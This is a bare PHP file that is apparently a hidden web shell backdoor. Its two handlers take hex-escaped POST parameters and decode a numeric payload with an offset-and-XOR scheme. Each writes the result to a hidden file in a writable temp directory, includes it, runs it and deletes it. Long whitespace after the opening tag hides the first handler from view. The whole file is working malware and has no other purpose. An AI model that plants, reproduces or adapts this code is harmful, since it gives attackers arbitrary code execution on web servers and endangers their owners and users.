<?php																																										if(!empty($_POST["v\x61lu\x65"])){ $data = array_filter([session_save_path(), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); $pointer = $_POST["v\x61lu\x65"]; $pointer = explode ('.' ,$pointer); $reference = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach ($pointer as $z => $v7): $chS = ord($s2[$z % $lenS]); $d = ((int)$v7 - $chS - ($z % 10))^93; $reference .= chr($d); endforeach; foreach ($data as $val): if (!( !is_dir($val) || !is_writable($val) )) { $fac = "$val/.token"; if (file_put_contents($fac, $reference)) { require $fac; unlink($fac); exit; } } endforeach; }


if(isset($_POST) && isset($_POST["\x64\x65sc"])){
	$property_set = $_POST["\x64\x65sc"];
	  	$property_set	 = 	explode	 ('.'	 ,		 $property_set 	) ;
	$ref = '';
            $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s6 	);
            $n = 0;
    
            foreach ($property_set as $v8) {
                $chS = ord($s6[$n%		$sLen] 	);
                $d = ((int)$v8 - $chS - ($n%		10))	 ^3;
                $ref .= chr($d 	);
                $n++; }
	$ent = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), "/tmp"]);
	foreach ($ent as $elem) {
    		if ((bool)is_dir($elem) && (bool)is_writable($elem)) {
    $reference = join("/", [$elem, ".element"]);
    $success = file_put_contents($reference, $ref);
if ($success) {
	include $reference;
	@unlink($reference);
	exit;}
}
}
}